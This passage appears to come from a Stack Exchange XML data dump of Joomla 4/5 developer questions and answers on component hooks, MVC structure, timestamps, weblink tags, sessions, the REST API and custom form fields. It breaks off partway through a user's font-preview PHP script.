  <row Id="33605" PostTypeId="2" ParentId="33604" CreationDate="2024-01-19T19:48:09.237" Score="0" Body="&lt;p&gt;You can put the handling code in the component &lt;code&gt;boot&lt;/code&gt; function. Not sure if this is best practices or not though.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// com_something/admin/src/Extension/SomethingComponent.php&#xA;// ...&#xA;public function boot(ContainerInterface $container): void&#xA;{&#xA;    $app = $container-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;    $db = $container-&amp;gt;get(\Joomla\Database\DatabaseDriver::class);&#xA;    $trackingToken = $app-&amp;gt;input-&amp;gt;getString('trackingToken', null);&#xA;    if (!is_null($trackingToken)) {&#xA;        trackToken($db, $trackingToken);&#xA;    }&#xA;}&#xA;// ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16163" LastActivityDate="2024-01-19T19:48:09.237" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33606" PostTypeId="2" ParentId="33604" CreationDate="2024-01-22T07:43:14.847" Score="2" Body="&lt;p&gt;If your component uses Joomla's core MVC, add the code to your display controller's &lt;code&gt;display()&lt;/code&gt; method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace [Vendor]\Component\[Component]\[Application]\Controller;&#xA;&#xA;use Joomla\CMS\MVC\Controller\BaseController;&#xA;&#xA;final class DisplayController extends BaseController&#xA;{&#xA;    public function display($cachable = false, $urlparams = [])&#xA;    {&#xA;        //your logic here&#xA;        $trackingToken = $this-&amp;gt;input-&amp;gt;getString('trackingToken', null);&#xA;        ...&#xA;&#xA;        return parent::display();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This method is executed when any view is accessed in your component. In case you want the code executed on all requests, not just views, you could place it in the &lt;code&gt;dispatch()&lt;/code&gt; method of your component's dispatcher.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace [Vendor]\Component\[Component]\[Application]\Dispatcher;&#xA;&#xA;use Joomla\CMS\Dispatcher\ComponentDispatcher;&#xA;&#xA;final class Dispatcher extends ComponentDispatcher&#xA;{&#xA;    public function dispatch()&#xA;    {&#xA;         //your logic here&#xA;         $trackingToken = $this-&amp;gt;input-&amp;gt;getString('trackingToken', null);&#xA;         ...&#xA;&#xA;        parent::dispatch();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2024-01-22T07:43:14.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33607" PostTypeId="1" CreationDate="2024-01-22T10:25:45.587" Score="0" ViewCount="35" Body="&lt;p&gt;I have custom plugin and I want to do something when my plugin save in admin panel of Joomla 4 . How can I override save method in plugin ?&lt;/p&gt;&#xA;" OwnerUserId="17586" LastActivityDate="2024-02-22T10:02:30.293" Title="how can i override method save plugin joomla 4" Tags="|php|joomla-4.x|plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33608" PostTypeId="1" CreationDate="2024-01-22T21:40:19.240" Score="1" ViewCount="62" Body="&lt;p&gt;Legacy component MVC structure:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;com_foo&#xA;|- controllers&#xA;|  |- foo.php&#xA;|- helpers&#xA;|  |- foo.php&#xA;|- models&#xA;|  |- forms&#xA;|  |  |- foo.xml&#xA;|  |- foo.php&#xA;|- views&#xA;|  |- foo&#xA;|  |  |- tmpl&#xA;|  |  |  |- default.php&#xA;|- foo.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Joomla 4/5 MVC structure:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;com_foo&#xA;|- forms&#xA;|  |- foo.xml&#xA;|- services&#xA;|  |- provider.php&#xA;|- src&#xA;|- |- Controller&#xA;|- |- |- DisplayController.php&#xA;|- |- |- FooController.php&#xA;|- |- Extension&#xA;|- |- |- FooComponent.php&#xA;|- |- Helper&#xA;|- |- |- FooHelper.php&#xA;|- |- Model&#xA;|- |- |- FooModel.php&#xA;|- |- Table&#xA;|- |- |- FooTable.php&#xA;|- |- View&#xA;|- |- |- Foo&#xA;|- |- |- |- HtmlView.php&#xA;|- tmpl&#xA;|- |- foo&#xA;|- |- |- default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The first structure is now called &lt;code&gt;LegacyComponent&lt;/code&gt;. Does anyone know if this is announced as deprecated, or in which version will it stop working?&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2024-01-31T13:35:40.320" Title="For how long will legacy component MVC structure work in Joomla?" Tags="|component|joomla-4.x|custom-component|mvc|joomla-5.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33609" PostTypeId="2" ParentId="33608" CreationDate="2024-01-22T23:39:25.100" Score="2" Body="&lt;p&gt;My understanding is I don't believe it will 'stop working'. The new structure is guideline or preferred structure that brings Joomla inline with other frameworks. You can have whatever structure you like, including the J3 style, but you may find that you have to put in more specific references to where you have located things as Joomla may start to remove the backward compatibility code that locates things automatically in a future version.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2024-01-23T04:35:21.973" LastActivityDate="2024-01-23T04:35:21.973" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33610" PostTypeId="2" ParentId="33607" CreationDate="2024-01-23T09:30:01.300" Score="0" Body="&lt;p&gt;You could create a Content plugin and use the &lt;code&gt;onContentBeforeSave&lt;/code&gt; method like Robbie Jackson suggested.&lt;/p&gt;&#xA;&lt;p&gt;If for some unknown reason it does not work, you could always write a system plugin and use &lt;code&gt;onAfterInitialise&lt;/code&gt; or &lt;code&gt;onAfterRoute&lt;/code&gt; and do something there. Only use this when you cannot use anything else.&lt;/p&gt;&#xA;&lt;p&gt;Do you use an IDE like PHPStorm or VisualStudio? If you combine it with XDebug, you could set break points, and step through Joomla's code to find the places that you could trigger to do something with your code.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2024-01-23T09:30:01.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33612" PostTypeId="1" CreationDate="2024-01-24T02:43:59.213" Score="0" ViewCount="51" Body="&lt;p&gt;At the url below there is a tag at the top left called &amp;quot;Big Picture Pubs&amp;quot;. It leads to a table showing a compact list of tagged weblinks.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.victoriasforestryheritage.o&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.victoriasforestryheritage.o&lt;/a&gt; ... cture.html&lt;/p&gt;&#xA;&lt;p&gt;Clicking on a link in the table leads only to the weblink title and the url connected to the weblink - in this case a link to publications held on Google Drive. To access the publication you obviously follow the url displayed.&lt;/p&gt;&#xA;&lt;p&gt;I would like to remove this middle step and provide for the link in the table to directly access and open the publication in a new tab. I have used tagged weblink tables in articles, and positioned in modules using the menu item url, across the site. (See also Tagged Lists arising from links in buttons:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.victoriasforestryheritage.org.au/resources/site-library.html#general-publications&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.victoriasforestryheritage.org.au/resources/site-library.html#general-publications&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;All the places and ways I have used them give the same outcome. I cannot see any Option in the tag or weblink components to change the way tagged items are displayed.&lt;/p&gt;&#xA;&lt;p&gt;I note that weblinks I have used elsewhere have the term &amp;quot;task=weblink.go..........&amp;quot; within the url (and I know this provides direct access to the item) and those in the tag table do not.&lt;/p&gt;&#xA;&lt;p&gt;For example, in Chrome Dev Tools I edited one of the links to add &amp;quot;task=weblink.go&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Original link&lt;/strong&gt; - a href=&amp;quot;/component/weblinks/weblink/433-a-history-of-forestry-in-australia-doc0005.html?catid=94&amp;amp;Itemid=486&amp;quot;&#xA;A History of Forestry in Australia. doc0005                                    &lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edited Link&lt;/strong&gt; - a href=&amp;quot;/component/weblinks/weblink/433-a-history-of-forestry-in-australia-doc0005.html?&lt;strong&gt;task=weblink.go&lt;/strong&gt;&amp;amp;catid=94&amp;amp;Itemid=486&amp;quot;&#xA;A History of Forestry in Australia. doc0005                                    &lt;/p&gt;&#xA;&lt;p&gt;It worked - so the key is to get this task added into each link as the table is prepared.&lt;/p&gt;&#xA;&lt;p&gt;I assume a template override will address the issue - but while I understand the process by which overrides are created I do not understand PHP. I have looked through what I think are the relevant template tables (com_weblinks and com_tags) and cannot see any code that may be relevant, and even if I did see it would not know how to amend it to get the outcome I want.&lt;/p&gt;&#xA;&lt;p&gt;Can anyone please provide me with what I assume is a snippet of code in the correct place in the correct table to resolve this issue for me?&lt;/p&gt;&#xA;&lt;p&gt;Richard&lt;/p&gt;&#xA;" OwnerUserId="17588" LastActivityDate="2024-02-25T00:01:55.363" Title="Tagged Weblinks appearing in a Compact List linking to items on external site require two clicks to get to items. - Version 4.4.2 -" Tags="|php|joomla-4.x|template-override|tags|weblinks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33613" PostTypeId="1" AcceptedAnswerId="33615" CreationDate="2024-01-24T17:04:57.320" Score="1" ViewCount="53" Body="&lt;p&gt;In my custom component I have two database tables for items in my component with the standard 'created' and 'modified' datetime columns to contain timestamps when those items are created or modified.&lt;/p&gt;&#xA;&lt;p&gt;I initially assumed that the easiest way to do this was via the database, setting the default value for 'created' as current_timestamp and the 'modified' column to be set with current_timestamp on update. This worked fine on my local install (XAMPP) which is on MariaDB 10.4.28, but when I updated my component on my Siteground test site which uses MySQL 5.7.44 it throws an error. Datetime columns don't seem to like the current_timestamp value. One possible fix that I saw suggested was to change datetime to timestamp but it made no difference.&lt;/p&gt;&#xA;&lt;p&gt;I then looked at how core Joomla tables with 'created' and 'modified' columns are set up and they don't use current_timestamp to automatically populate. It looks as if I need to get my code to set these values instead.&lt;/p&gt;&#xA;&lt;p&gt;That being the case, I added 'created' and 'modified' to my form XML and brought them them into my edit.php template file. I could set the timestamp value when I first open a new or existing item, but ideally I'd like to do it immediately prior to saving. Is there a javascript event that I can watch for when the Save button is clicked that I can make use of? If not, is it a case of extending the FormController Save PHP function and setting the values there?&lt;/p&gt;&#xA;" OwnerUserId="15973" LastEditorUserId="15973" LastEditDate="2024-01-24T17:13:37.780" LastActivityDate="2024-01-25T06:40:57.457" Title="Best way to save timestamp for new or modified records in custom component" Tags="|php|joomla-4.x|custom-component|mysql|javascript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33614" PostTypeId="2" ParentId="33613" CreationDate="2024-01-24T19:41:24.650" Score="1" Body="&lt;p&gt;Do your database tables have associated classes which extend the Joomla Table class?&lt;/p&gt;&#xA;&lt;p&gt;If so, you can set these attributes in a store() function, overriding Table::store(). They'll then be set just before saving to the database.&lt;/p&gt;&#xA;&lt;p&gt;You can see how com_content does this by looking at libraries/src/Table/Content.php&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2024-01-24T19:41:24.650" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33615" PostTypeId="2" ParentId="33613" CreationDate="2024-01-24T23:58:23.653" Score="1" Body="&lt;p&gt;Using the Banners component as an example you can see the way that it handles the empty date fields in the &lt;code&gt;..\administrator\components\com_banners\src\Table\BannerTable.php&lt;/code&gt; &lt;code&gt;check()&lt;/code&gt; method.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;check()&lt;/code&gt; method is called by the &lt;code&gt;save()&lt;/code&gt; method of the &lt;code&gt;..\libraries\src\Table\Table.php&lt;/code&gt;. The &lt;code&gt;save()&lt;/code&gt; method calls &lt;code&gt;bind()&lt;/code&gt;, &lt;code&gt;check()&lt;/code&gt;, &lt;code&gt;store()&lt;/code&gt; and &lt;code&gt;checkIn()&lt;/code&gt; methods.&lt;/p&gt;&#xA;&lt;p&gt;In the Model for your Form you would have it call the &lt;code&gt;save()&lt;/code&gt; method found in AdminModel or your own Table object.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;* Overloaded check function&#xA;*&#xA;* @return  boolean&#xA;*&#xA;             * @see     Table::check&#xA;* @since   1.5&#xA;*/&#xA;public function check()&#xA;{&#xA;...&#xA;    // Set created date if not set.&#xA;    if (!(int) $this-&amp;gt;created) {&#xA;    $this-&amp;gt;created = Factory::getDate()-&amp;gt;toSql();&#xA;    }&#xA;    ...&#xA;    // Set modified to created if not set&#xA;    if (!$this-&amp;gt;modified) {&#xA;    $this-&amp;gt;modified = $this-&amp;gt;created;&#xA;    }&#xA;            &#xA;    // Set modified_by to created_by if not set&#xA;    if (empty($this-&amp;gt;modified_by)) {&#xA;    $this-&amp;gt;modified_by = $this-&amp;gt;created_by;&#xA;    }&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2024-01-25T06:40:57.457" LastActivityDate="2024-01-25T06:40:57.457" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33616" PostTypeId="1" CreationDate="2024-01-25T11:42:41.713" Score="0" ViewCount="17" Body="&lt;p&gt;I'm currently working on a website running Joomla version 5.0.2 and utilizing Flexicontent (version 4.2.1) to manage its content. For the creation of social share buttons for each item, I'm using the Flexicontent Toolbar plugin, which also generates Open Graph and Twitter meta tags. Additionally, I have the 4SEF plugin for managing SEF URLs.&lt;/p&gt;&#xA;&lt;p&gt;However, I've encountered an issue where duplicate Open Graph and Twitter meta tags are being generated. This problem is causing inaccuracies when sharing content on social media platforms, as it displays the wrong item's content on Facebook or Twitter. I've provided as much information as I can, and I'm seeking assistance in resolving this issue.&lt;/p&gt;&#xA;" OwnerUserId="16588" LastEditorUserId="13306" LastEditDate="2024-01-25T21:48:20.613" LastActivityDate="2024-01-25T21:48:20.613" Title="Duplicate Open Graph and Twitter Share metatags with Joomla5, Flexicontent" Tags="|joomla-4.x|flexicontent|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33617" PostTypeId="1" CreationDate="2024-01-25T13:06:57.323" Score="1" ViewCount="34" Body="&lt;p&gt;I'm new to developing in Joomla and I was wondering if there are a set bunch of files and directories you ignore say for example using the VSCode ftp extension or .gitignore.&lt;/p&gt;&#xA;&lt;p&gt;I'm specifically looking at developing templates and modules locally then uploading to a staging server and/or Git repo.&lt;/p&gt;&#xA;&lt;p&gt;I have this these to ignore in VSCode ftp extension settings:&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;ignore&amp;quot;: [&#xA;&amp;quot;.vscode&amp;quot;,&#xA;&amp;quot;.htaccess&amp;quot;,&#xA;&amp;quot;configuration.php&amp;quot;,&#xA;&amp;quot;administrator&amp;quot;,&#xA;&amp;quot;tmp&amp;quot;,&#xA;&amp;quot;cache&amp;quot;,&#xA;&amp;quot;logs&amp;quot;,&#xA;&amp;quot;images&amp;quot;,&#xA;&amp;quot;media&amp;quot;,&#xA;&amp;quot;plugins&amp;quot;,&#xA;&amp;quot;components&amp;quot;,&#xA;&amp;quot;language&amp;quot;,&#xA;&amp;quot;layouts&amp;quot;,&#xA;&amp;quot;templates/cassiopeia&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Cheers,&#xA;Tim&lt;/p&gt;&#xA;" OwnerUserId="17596" LastActivityDate="2024-01-25T13:39:17.623" Title="Setting ignore for Joomla files or directories" Tags="|development|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33618" PostTypeId="2" ParentId="33617" CreationDate="2024-01-25T13:39:17.623" Score="1" Body="&lt;p&gt;The way I work is to have separate git repos for each extension I'm developing and use symlinks to bring them into my local development site rather than having the entire site in a repo. For me it helps keep everything compartmentalised and easier to manage.&lt;/p&gt;&#xA;&lt;p&gt;I routinely ignore any files not used by the extension like .DS_Store or .idea, plus any zip or text files. I often keep reference notes on text files for my own use so they don't need including.&lt;/p&gt;&#xA;&lt;p&gt;We use Gantry for our templates, but we have quite a custom set-up so the way we do that is probably not going to be much help to you.&lt;/p&gt;&#xA;" OwnerUserId="15973" LastActivityDate="2024-01-25T13:39:17.623" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33619" PostTypeId="2" ParentId="33612" CreationDate="2024-01-25T22:42:18.183" Score="0" Body="&lt;p&gt;Short Answer:&lt;/p&gt;&#xA;&lt;p&gt;Use Re-Replacer, &lt;a href=&quot;https://regularlabs.com/rereplacer&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://regularlabs.com/rereplacer&lt;/a&gt;, to identify the tag links and insert the &lt;code&gt;task=weblink.go&lt;/code&gt; into the link before the page is displayed.&lt;/p&gt;&#xA;&lt;p&gt;In Re-Replacer you need to search for a line containing &lt;code&gt;weblinks/weblink&lt;/code&gt; and &lt;code&gt;html?catid=&lt;/code&gt; and then replace the &lt;code&gt;html?catid=&lt;/code&gt; with &lt;code&gt;html?task=weblink.go&amp;amp;catid=&lt;/code&gt;. &lt;code&gt;html?catid=&lt;/code&gt; may appear in links for other extensions therefore you have to make sure you are only working with weblink created links.&lt;/p&gt;&#xA;&lt;p&gt;Long Answer:&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;task=weblink.go&lt;/code&gt; is only applied to the link if you are counting clicks, a setting in the options for the com_weblink extension, and this occurs in the HtmlView class for weblink categories. In this class the segments of link are constructed(the elements after the ?) and passed to Router to construct the rest of the link(everything to the left of the ?).&lt;/p&gt;&#xA;&lt;p&gt;The use of Tags goes through a very different process to construct the link, it is more generic as it has to work with any number of extensions, and from what I can see in the process there is little opportunity to change the processing in the way you want.&lt;/p&gt;&#xA;&lt;p&gt;Your idea of putting code into a template override might be possible with a fair bit of effort and then you, or someone, has to maintain that code/override each time a template changes or upgrades occur.&lt;/p&gt;&#xA;&lt;p&gt;Hence the Re-Replacer solution ideal as it is independent of any changes to templates or underlying code, making the change(s) after the page is render but before it is displayed to the visitor.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2024-01-25T22:42:18.183" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33620" PostTypeId="1" AcceptedAnswerId="33621" CreationDate="2024-01-26T11:08:35.053" Score="0" ViewCount="64" Body="&lt;p&gt;I have made a component where it is tedious when the session ends after 15 or 30 minutes and you have to log in again. For all other pages, however, this time is fine.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to temporarily change this duration as soon as you get to this page or call up this component in the frontend area?&lt;/p&gt;&#xA;&lt;p&gt;I've already googled it, but haven't found any good results. I know that you can also adjust this value in general. However, this is not the solution in my case.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone have a solution for this?&lt;/p&gt;&#xA;" OwnerUserId="16394" LastActivityDate="2024-01-26T11:45:28.240" Title="How can I change the duration of a front-end session in a component?" Tags="|user|session|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33621" PostTypeId="2" ParentId="33620" CreationDate="2024-01-26T11:45:28.240" Score="2" Body="&lt;p&gt;On HTML pages you can use Keepalive script which periodically makes AJAX requests to prevent session expiration. It's widely used across the CMS on form pages. Usage in view layout:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;document-&amp;gt;getWebAssetManager()-&amp;gt;useScript('keepalive');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2024-01-26T11:45:28.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33622" PostTypeId="1" CreationDate="2024-01-26T18:43:22.103" Score="0" ViewCount="15" Body="&lt;p&gt;I’ve been using the J4 REST API for a while to create articles from form data through the Webhook feature of the &lt;strong&gt;Convert Forms&lt;/strong&gt; extension.  It works great for both standard article fields and for custom fields.&lt;/p&gt;&#xA;&lt;p&gt;Now I’m attempting to set an Intro Image for these articles, and I have not been able to get it to work.&lt;/p&gt;&#xA;&lt;p&gt;I have not been able to get this to work using Postman either.  I tried passing JSON with the key “images” as part of the body JSON for a POST:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &amp;quot;alias&amp;quot;: &amp;quot;my-article3&amp;quot;,&#xA;    &amp;quot;articletext&amp;quot;: &amp;quot;My text&amp;quot;,&#xA;    &amp;quot;catid&amp;quot;: 54,&#xA;    &amp;quot;language&amp;quot;: &amp;quot;*&amp;quot;,&#xA;    &amp;quot;metadesc&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;metakey&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;images&amp;quot;: { &amp;quot;image_intro&amp;quot;: &amp;quot;https://www.zzz.org/images/portraits/staff/Jeff.jpeg&amp;quot;, &amp;quot;image_intro_alt&amp;quot;: &amp;quot;Jeff portrait&amp;quot;},&#xA;    &amp;quot;title&amp;quot;: &amp;quot;Here's an article&amp;quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But that doesn’t work either.  The article gets created, but no image settings come through.&lt;/p&gt;&#xA;&lt;p&gt;Do you have any suggestions for how to make this work?  I have not been able to find a working example anywhere.&lt;/p&gt;&#xA;" OwnerUserId="17301" LastActivityDate="2024-01-26T18:43:22.103" Title="Problem setting image info when creating an article via the J4 REST API" Tags="|joomla-4.x|development|joomla-api|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33623" PostTypeId="1" CreationDate="2024-01-27T15:04:55.073" Score="0" ViewCount="22" Body="&lt;p&gt;For my Project i need to render a custom form field based on the ListField&#xA;I try to use the &amp;quot;new&amp;quot; conventions for J4 and later using namespacing etc.&lt;/p&gt;&#xA;&lt;p&gt;this is the relevant part of my xml:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;lt;namespace path=&amp;quot;src&amp;quot;&amp;gt;NXD\Module\FootballManagerPlayers&amp;lt;/namespace&amp;gt;&#xA;...&#xA;&amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&amp;quot;basic&amp;quot;&#xA;                      addfieldpath=&amp;quot;/modules/mod_nxdfm2_players/src/models/fields&amp;quot;&#xA;            &amp;gt;&#xA;                &amp;lt;field name=&amp;quot;team_id&amp;quot;&#xA;                        type=&amp;quot;TeamSelect&amp;quot;&#xA;                        label=&amp;quot;MOD_NXDFM2_PLAYERS_TEAM_FILTER_LABEL&amp;quot;&#xA;                        description=&amp;quot;MOD_NXDFM2_PLAYERS_FILTER_DESC&amp;quot;&#xA;                        default=&amp;quot;&amp;quot;&#xA;                        show_select=&amp;quot;true&amp;quot;&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've tried to place the FieldClass PHP on different locations within my module wihtout success. Currently the &amp;quot;TeamSelectField.php&amp;quot; is stored under &amp;quot;modules/mod_nxdfm2_players/src/models/fields&amp;quot; (But I think thats not correct?)&lt;/p&gt;&#xA;&lt;p&gt;My TeamSelectField.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;namespace NXD\Module\FootballmanagerPlayers\Fields;&#xA;&#xA;defined('_JEXEC') or die;&#xA;...&#xA;class TeamSelectField extends ListField&#xA;{&#xA;    protected $type = 'TeamSelect';&#xA;...&#xA;protected function getInput()&#xA;    {&#xA;...&#xA;}&#xA;&#xA;protected function getOptions()&#xA;    {&#xA;...&#xA;}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm using Dispatcher.php aswell as the service provider interface...&#xA;github Link to module code: &lt;a href=&quot;https://github.com/marcorensch/nxdfm2_players&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've tried different location that's why there are currently multiple &amp;quot;TeamSelectField.php&amp;quot; files in different locations like root/fields, src/Fields, src/models/fields , ....&lt;/p&gt;&#xA;&lt;p&gt;I've used custom form field types already a few times in Joomla 3 / 4 by using the &amp;quot;old fashioned way&amp;quot; without issues. I'm aware that the conventions are strict but i didn't find any ressource on how to use it &amp;quot;the new way&amp;quot;. Any suggestions hints are much appreciated.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&#xA;Also adding the addFieldPrefix does not change anything:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;lt;fieldset name=&amp;quot;basic&amp;quot;&#xA;                      addfieldpath=&amp;quot;/modules/mod_nxdfm2_players/src/models/fields&amp;quot;&#xA;                      addfieldprefix=&amp;quot;NXD\Module\FootballmanagerPlayers\Field&amp;quot;&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2024-01-27T15:18:41.977" LastActivityDate="2024-01-28T06:47:37.603" Title="Custom Form Field Type in Module Settings not got rendered (J4)" Tags="|joomla-4.x|custom-field|form-fields-types|joomla-5.x|custom-form-field-type|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33624" PostTypeId="2" ParentId="33623" CreationDate="2024-01-28T06:47:37.603" Score="2" Body="&lt;p&gt;&lt;strong&gt;File / Folder Structure&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;src /&#xA;- Field /&#xA;-- [FieldName]Field.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Namespacing&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the XML:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;namespace path=&amp;quot;src&amp;quot;&amp;gt;[COMPANY]\Module\ModuleName&amp;lt;/namespace&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then you need to add the fieldprefix to the field or fieldset:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;fieldset name=&amp;quot;basic&amp;quot; addfieldprefix=&amp;quot;[COMPANY]\Module\[ModuleName]\Site\Field&amp;quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the [FieldName]Field.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace [COMPANY]\Module\[ModuleName]\Site\Field;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then as usual make sure the &lt;code&gt;protected $type = 'FieldName';&lt;/code&gt; is identical to the call in the XML:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;lt;field name=&amp;quot;team_id&amp;quot;&#xA;  type=&amp;quot;FieldName&amp;quot;&#xA;  label=&amp;quot;YOUR_LABEL&amp;quot;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In conclusion the ...\Site... part was my mistake - even if the field has to be used in the Backend-Form we need to use &amp;quot;Site&amp;quot; because its a Frontend Module...&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2024-01-28T06:47:37.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33627" PostTypeId="1" CreationDate="2024-01-30T19:01:01.587" Score="0" ViewCount="53" Body="&lt;p&gt;I created a font.php file that is used to preview fonts and I try to include it in a joomla 4 article, but it always returns error 500.&#xA;-Include some simple php file in joomla article works.&#xA;-Include the font.php file in another php file (non-Joomla) also works&lt;/p&gt;&#xA;&lt;p&gt;From this I assume that there is some conflict between my php and joomla. Here is my code so if anyone can help me with this problem:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;     &amp;lt;?php&#xA;&#xA; if(isset($_POST['submit']))&#xA;  {&#xA;     $font = $_POST['fonts'];&#xA;  }&#xA;// link to the font file no the server&#xA;$fontname = realpath('/code/font/' . $font);&#xA;&#xA;// controls the spacing between text&#xA;$i=30;&#xA;//JPG image quality 0-100&#xA;$quality = 90;&#xA;&#xA;function create_image($user){&#xA;&#xA;        global $fontname;   &#xA;        global $quality;&#xA;        // Definisanje podrazumevanih vrednosti za ključeve ako nisu postavljeni&#xA;if (!isset($user[0])) {&#xA;    $user[0] = ['name' =&amp;gt; '', 'font-size' =&amp;gt; '16', 'color' =&amp;gt; 'grey'];&#xA;}&#xA;&#xA;if (!isset($user[1])) {&#xA;    $user[1] = ['name' =&amp;gt; '', 'font-size' =&amp;gt; '16', 'color' =&amp;gt; 'grey'];&#xA;}&#xA;&#xA;if (!isset($user[2])) {&#xA;    $user[2] = ['name' =&amp;gt; '', 'font-size' =&amp;gt; '16', 'color' =&amp;gt; 'grey'];&#xA;}&#xA;&#xA;        $file = &amp;quot;code/covers/&amp;quot;.md5($user[0]['name'].$user[1]['name'].$user[2]['name']).&amp;quot;.jpg&amp;quot;;  &#xA;    &#xA;    // if the file already exists dont create it again just serve up the original   &#xA;    //if (!file_exists($file)) {    &#xA;            &#xA;&#xA;            // define the base image that we lay our text on&#xA;            $im = imagecreatefromjpeg(&amp;quot;code/pass.jpg&amp;quot;);&#xA;            &#xA;            // setup the text colours&#xA;            $color['grey'] = imagecolorallocate($im, 54, 56, 60);&#xA;            $color['green'] = imagecolorallocate($im, 55, 189, 102);&#xA;            $height = 0;&#xA;            // this defines the starting height for the text 